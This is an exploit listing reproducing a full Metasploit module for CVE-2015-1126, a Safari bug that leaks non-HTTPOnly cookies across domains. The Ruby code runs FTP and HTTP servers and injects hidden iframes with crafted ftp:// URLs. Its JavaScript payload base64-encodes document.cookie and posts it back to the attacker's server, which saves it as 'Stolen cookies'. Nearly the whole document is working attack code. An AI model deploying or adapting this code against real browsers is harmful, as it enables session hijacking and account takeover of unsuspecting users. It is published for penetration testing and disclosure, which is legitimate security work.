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Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft

Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
Posted Aug 31, 2024
Authored by Jouko Pynnonen, joev | Site metasploit.com

A vulnerability exists in versions of OSX, iOS, and Windows Safari released before April 8, 2015 that allows the non-HTTPOnly cookies of any domain to be stolen.

tags | exploit
systems | windows, apple, ios
advisories | CVE-2015-1126
SHA-256 | 4a33fb3750429fbc48b60b65f9266ada10b36414af7a3f3d44b49aac0e5a6e4f

Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
'Description' => %q{
A vulnerability exists in versions of OSX, iOS, and Windows Safari released
before April 8, 2015 that allows the non-HTTPOnly cookies of any
domain to be stolen.
},
'License' => MSF_LICENSE,
'Author' => [
'Jouko Pynnonen', # Initial discovery and disclosure
'joev', # msf module
],
'References' => [
[ 'CVE', '2015-1126' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Apr/30' ]
],
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer',
'DisclosureDate' => '2015-04-08'
))

register_options([
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
OptString.new('TARGET_DOMAINS', [
true,
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
'apple.com,example.com'
])
])
end


#
# Start the FTP and HTTP server
#
def run
start_service
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
start_http
@http_service.wait
end


#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib

comm = datastore['ListenerComm']
if comm.to_s == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)

# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)

@http_service.server_name = datastore['HTTP::server_name']

# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})

proto = (datastore['SSL'] ? 'https' : 'http')
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

if opts['ServerHost'] == '0.0.0.0'
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end

# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end

#
# Lookup the right address for the client
#
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end

#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
unless conn
c.put("425 can't build data connection\r\n")
return
end

print_status('Connection for file transfer accepted')
c.put("150 Connection accepted\r\n")

# Send out payload
conn.put(exploit_html)
c.put("226 Transfer complete.\r\n")
conn.close
end

#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super

# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(@uri_path)
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end


#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
unless Rex::Text.zlib_present? || !datastore['HTTP::compression']
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
end
end


#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
return @uri_path if @uri_path

@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
@uri_path = '/' + @uri_path if @uri_path !~ /^\//
@uri_path
end


#
# Handle HTTP requests and responses
#
def on_request_uri(cli, request)
if request.method.downcase == 'post'
json = JSON.parse(request.body)
domain = json['domain']
cookie = Rex::Text.decode_base64(json['p']).to_s
if cookie.length == 0
print_error("#{cli.peerhost}: No cookies found for #{domain}")
else
file = store_loot(
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
)
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
print_good(file)
end
send_response(cli, 200, 'OK', '')
else
domains = datastore['TARGET_DOMAINS'].split(',')
iframes = domains.map do |domain|
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
</iframe>|
end

html = <<-HTML
<html>
<body>
#{iframes.join}
</body>
</html>
HTML

send_response(cli, 200, 'OK', html)
end
end

#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html

cli.send_response(res)
end

def exploit_html
<<-HTML
<html><body>
<script>
var p = window.btoa(document.cookie);
var x = new XMLHttpRequest();
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
x.setRequestHeader('Content-type', 'text/plain');
x.send(JSON.stringify({p: p, domain: document.domain}));
</script>
</body></html>
HTML
end

def grab_key
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
end
end
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